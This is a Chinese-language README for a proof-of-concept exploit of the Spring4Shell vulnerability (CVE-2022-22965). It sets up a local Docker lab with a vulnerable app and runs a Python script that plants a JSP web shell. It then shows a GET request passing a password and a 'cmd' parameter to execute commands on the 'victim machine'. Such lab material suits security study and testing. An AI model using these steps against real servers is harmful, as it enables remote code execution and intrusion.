这是一个针对 CVE-2022-22965 (spring4shell) 漏洞的概念验证利用程序。 它由以下部分组成:
在项目根文件夹中有一个 Dockerfile,它会创建一个 Tomcat 镜像,并将 vulnerable_app/target/spring4shell.war 和 safe_app/target/safeapp.war 文件复制到 /usr/local/tomcat/webapps 文件夹中,因此你只需构建镜像并启动容器即可。
docker build -t cve_2022_22965 .
docker run -p 8080:8080 -d --name springshell cve_2022_22965
curl --location --request POST http://localhost:8080/spring4shell/vulnerability/exploit?name=Elliot%20Alderson
如果你看到以下响应
This is Elliot Alderson
则应用程序已启动并运行。
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit
你还可以选择指定注入的 JSP 文件名,但这并非强制要求。 示例
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit -f exploit.jsp
如果你未指定文件名,则会生成一个随机名称。
你将在命令 shell 中看到以下内容

在漏洞利用之后,你也可以通过 HTTP GET 请求发送命令
http://localhost:8080/exploit.jsp?pwd=pass&cmd=ls
你已成功在受害机器上打开了一个 shell!尽情享受吧!